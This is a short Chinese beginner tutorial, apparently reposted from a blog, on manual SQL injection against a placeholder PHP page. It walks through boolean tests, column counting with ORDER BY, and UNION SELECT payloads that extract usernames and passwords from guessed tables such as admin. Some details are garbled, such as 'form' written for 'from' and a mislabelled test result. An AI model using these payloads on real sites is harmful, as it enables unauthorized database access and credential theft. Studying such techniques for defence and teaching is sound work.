sql的一般查询语句(增删改查中的查)

/*例子  判断规则
http://xxx.xxx/new.php?id=57 and 1=1  正确
http://xxx.xxx/new.php?id=57 and 1=2  错误
http://xxx.xxx/new.php?id=57 and 2-1=1  正确
http://xxx.xxx/new.php?id=57 and 2-1=2  错误
http://xxx.xxx/new.php?id=57 and a=a  正确
http://xxx.xxx/new.php?id=57 and 'a'='a'  错误
*/当然 不同网站可能有不同的判断规则
View Code
以上代码 为了判断 数据库 可以执行什么语句 证明逻辑是正确的的

order by 列数或者列名
/*ORDER BY 语句用于根据指定的列队结果集进行排序*/

对了 order by 1 正常 order by 2 正常 order by 3 不正常 就代表有两个字段 也就是两列

union select 1,2 form user order by 字段名
/* union select 查字段 
    form 翻译成中文 就是 来自的意思  来自某某个数据库
*/

admin表 username表 user表 sys_admin 都是常用的表

那么继续看上边的 查字段 

union select username,password from admin order by 字段名

system也是常用的表 这些都需要自己去猜测 判断 

本篇文章仅为小白学习交流 大佬勿喷

猜你喜欢

转载自www.cnblogs.com/hack747/p/12261872.html